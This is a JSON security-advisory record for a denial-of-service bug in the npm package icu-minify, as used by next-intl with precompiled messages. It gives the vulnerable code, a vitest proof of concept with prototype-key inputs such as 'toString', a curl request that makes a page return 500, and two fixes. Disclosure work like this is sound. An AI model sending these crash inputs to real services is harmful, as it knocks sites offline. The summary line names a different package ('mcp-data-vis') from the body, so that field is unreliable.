{"id":"GHSA-r27j-894h-3w3p","aliases":[],"url":"https://o3.security/vulnerability/GHSA-r27j-894h-3w3p","summary":"mcp-data-vis vulnerable to denial of service via unsanitized `select` key lookup on `Object.prototype` with `precompile: true`","details":"## Summary\n\n`icu-minify`'s runtime formatter resolves `select` branches by looking up the runtime value as a plain property on a prototype-bearing object. When the value coerces to a key that exists on `Object.prototype` (e.g. `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf`), the lookup returns a truthy value that short-circuits the `?? options.other` fallback, and the downstream iterator crashes with `TypeError: nodes is not iterable`. Any consumer that forwards user input into a `{arg, select, …}` placeholder — a common idiom for `role`, `status`, `type`, `gender` — can be crashed per-request by supplying one of those keys. In Next.js SSR (via `next-intl` with `experimental.messages.precompile`) this yields a 500 for the affected render.\n\n## Details\n\n### Vulnerable code paths\n\nCompilation produces a plain object whose prototype chain includes all `Object.prototype` members:\n\n```tsx\n// packages/icu-minify/src/compile.tsx:191-199\nfunction compileSelect(node: SelectElement): CompiledNode {\n  const options: SelectOptions = {};            // <-- plain object, inherits from Object.prototype\n\n  for (const [key, option] of Object.entries(node.options)) {\n    options[key] = compileNodesToNode(option.value);\n  }\n\n  return [node.value, TYPE_SELECT, options];\n}\n```\n\nAt runtime, the formatter looks up the user-controllable value directly on that object:\n\n```tsx\n// packages/icu-minify/src/format.tsx:226-244\nfunction formatSelect<RichTextElement>(\n  name: string,\n  options: SelectOptions,\n  locale: string,\n  values: FormatValues<RichTextElement>,\n  formatOptions: FormatOptions,\n  pluralCtx: PluralContext | undefined\n): string | RichTextElement | Array<string | RichTextElement> {\n  const value = String(getValue(values, name));               // 234: coerce to string, no sanitization\n  const branch: CompiledNode | undefined = options[value] ?? options.other; // 235: unsafe lookup\n\n  if (process.env.NODE_ENV !== 'production' && !branch) {\n    throw new Error(\n      `No matching branch for select \"${name}\" with value \"${value}\"`\n    );\n  }\n\n  return formatBranch(branch, locale, values, formatOptions, pluralCtx); // 243\n}\n```\n\nBecause `options` inherits from `Object.prototype`, lookups such as `options['toString']` return `Object.prototype.toString` — a truthy `Function`. The `?? options.other` fallback is therefore skipped, and the non-array, non-string branch is passed to `formatBranch`, which forwards it to `formatNodes`:\n\n```tsx\n// packages/icu-minify/src/format.tsx:286-308\nfunction formatBranch<RichTextElement>(\n  branch: CompiledNode,\n  /* … */\n) {\n  if (typeof branch === 'string') return branch;           // string: fine\n  if (branch === TYPE_POUND) return formatNode(/* … */);    // pound: fine\n  return formatNodes(branch as Array<CompiledNode>, /* … */); // 301: Function is not iterable\n}\n\n// packages/icu-minify/src/format.tsx:73-92\nfunction formatNodes<RichTextElement>(\n  nodes: Array<CompiledNode>,\n  /* … */\n): Array<string | RichTextElement> {\n  const result: Array<string | RichTextElement> = [];\n  for (const node of nodes) {                              // 82: TypeError: nodes is not iterable\n    /* … */\n  }\n  return result;\n}\n```\n\nFive bare-prototype keys reliably crash the formatter in production: `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf` (plus `propertyIsEnumerable`, `isPrototypeOf`, `toLocaleString`). Note the development branch at line 237 (`throw new Error('No matching branch for select …')`) is bypassed because the inherited function is truthy — so this is not masked in development either.\n\n### Why `formatPlural` is not affected\n\n`formatPlural` (format.tsx:246-284) looks safe for two independent reasons and does not need to be patched for this specific bug:\n\n1. Exact-match keys use the `=${value}` prefix (`exactKey = '=' + value`, line 263), so the attacker would need to supply e.g. `=toString`, which is not a member of `Object.prototype`.\n2. The category branch uses `formatOptions.formatters.getPluralRules(locale, {type}).select(value)` which returns a fixed enum (`zero|one|two|few|many|other`), never attacker-supplied.\n\nThe bug is specific to the `select` path where the raw string value is used as the lookup key.\n\n### Reachability\n\n- **Direct consumers of `icu-minify`**: any code calling `format(compiled, locale, values, …)` where `values[arg]` for a `select` placeholder comes from user input is vulnerable with no additional preconditions.\n- **`next-intl` users** who enable `experimental.messages.precompile` (`packages/next-intl/src/plugin/types.tsx:24`, wired in `packages/next-intl/src/plugin/getNextConfig.tsx:177-293`): the runtime at `packages/use-intl/src/core/format-message/format-only.tsx` forwards directly to `icu-minify/format`, so `t('msg', {role: req.query.role})` against a `{role, select, admin {…} other {…}}` message crashes the render.\n\nNo middleware, type guard, escaping, or framework default stands between user input and the unsafe lookup — `values` reaches `format()` unmodified.\n\n## PoC\n\nVerified dynamically against `packages/icu-minify/src/format.tsx` at commit `b4aa538` (v4.9.1) with vitest and `NODE_ENV=production`.\n\nReproduction (drop into `packages/icu-minify/test/poc.test.ts` and run `pnpm exec vitest run test/poc.test.ts`):\n\n```ts\nimport {describe, expect, it} from 'vitest';\nimport compile from '../src/compile.js';\nimport format, {type FormatOptions} from '../src/format.js';\n\nconst formatters: FormatOptions['formatters'] = {\n  getDateTimeFormat: (...a) => new Intl.DateTimeFormat(...a),\n  getNumberFormat:   (...a) => new Intl.NumberFormat(...a),\n  getPluralRules:    (...a) => new Intl.PluralRules(...a)\n};\n\ndescribe('select prototype-key DoS', () => {\n  const compiled = compile('{role, select, admin {Admin} user {User} other {Guest}}');\n\n  for (const key of ['toString', '__proto__', 'constructor', 'hasOwnProperty', 'valueOf']) {\n    it(`crashes on role=\"${key}\"`, () => {\n      process.env.NODE_ENV = 'production';\n      expect(() => format(compiled, 'en', {role: key}, {formatters}))\n        .toThrow(TypeError); // \"nodes is not iterable\"\n    });\n  }\n});\n```\n\nObserved output (each of the 5 keys):\n\n```\nTypeError: nodes is not iterable\n    at formatNodes (packages/icu-minify/src/format.tsx:82:22)\n    at formatBranch (packages/icu-minify/src/format.tsx:301:10)\n    at formatSelect (packages/icu-minify/src/format.tsx:243:10)\n    at formatNode (packages/icu-minify/src/format.tsx:150:14)\n    at formatNodes (packages/icu-minify/src/format.tsx:83:23)\n    at format (packages/icu-minify/src/format.tsx:64:18)\n```\n\nEnd-to-end Next.js scenario (illustrative — any attacker-controlled `role`/`status`/`type`/`gender` forwarded into a `select` placeholder triggers the same exception inside the server render):\n\n```tsx\n// app/[locale]/profile/page.tsx — assume precompile enabled\nexport default async function Page({searchParams}: {searchParams: Promise<{role?: string}>}) {\n  const t = await getTranslations('Profile');\n  const {role = 'other'} = await searchParams;\n  return <h1>{t('greeting', {role})}</h1>;\n  //                         ^^^^^ messages: { \"greeting\": \"{role, select, admin {Hi admin} other {Hi}}\" }\n}\n```\n\n```\ncurl -i 'https://target.example/en/profile?role=toString'\nHTTP/1.1 500 Internal Server Error\n```\n\n## Impact\n\n- **Availability**: An unauthenticated attacker can force a 500 response on any page or API route that formats a `select` ICU message using user-controllable input. Each request fails independently; there is no persistent state corruption or amplification beyond the malicious request.\n- **Confidentiality / Integrity**: None. No data is leaked and no prototype write occurs — this is a prototype-chain *read* confusion, not a prototype pollution write.\n- **Scope**: Any consumer of `icu-minify` that passes user input into a `select` branch is vulnerable. `next-intl` users are only exposed if they have opted into the experimental `experimental.messages.precompile` flag.\n- **Preconditions**: Developer must forward untrusted input to a `{arg, select, …}` placeholder. This is a routine pattern (`role`, `status`, `gender`, `type`) and the library offers no documentation warning that `select` keys must be validated against prototype members.\n\n## Recommended Fix\n\nEither of the following (defense-in-depth suggests both). Both are one-line, minimal-churn fixes.\n\n1. Use a null-prototype map in `compileSelect` (and symmetrically in `compilePlural`) so that no `Object.prototype` keys can ever be resolved:\n\n```tsx\n// packages/icu-minify/src/compile.tsx\nfunction compileSelect(node: SelectElement): CompiledNode {\n-  const options: SelectOptions = {};\n+  const options: SelectOptions = Object.create(null);\n\n   for (const [key, option] of Object.entries(node.options)) {\n     options[key] = compileNodesToNode(option.value);\n   }\n\n   return [node.value, TYPE_SELECT, options];\n }\n```\n\n2. Gate the runtime lookup with `Object.prototype.hasOwnProperty.call` so the `other` fallback is reached for any non-own key:\n\n```tsx\n// packages/icu-minify/src/format.tsx\n function formatSelect<RichTextElement>(/* … */) {\n   const value = String(getValue(values, name));\n-  const branch: CompiledNode | undefined = options[value] ?? options.other;\n+  const branch: CompiledNode | undefined =\n+    Object.prototype.hasOwnProperty.call(options, value) ? options[value] : options.other;\n   /* … */\n }\n```\n\nOption 1 is preferable because it also survives future serialization round-trips (e.g. JSON-hydrated compiled messages) and removes the hazard at the source. Option 2 is a defensive backstop for any code path that constructs `SelectOptions` from arbitrary JSON at runtime.\n\nNo regression is expected in tests — `compileSelect` never reads back through the prototype chain, and all existing lookups use own properties.","published":"2026-05-06T17:32:01Z","modified":"2026-05-06T17:48:37.576211Z","cvss":{"score":3.7,"severity":"LOW","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"icu-minify","fixedVersion":"4.9.2"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/amannn/next-intl/security/advisories/GHSA-r27j-894h-3w3p"},{"type":"PACKAGE","url":"https://github.com/amannn/next-intl"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-05-06T17:48:37.576211Z"}}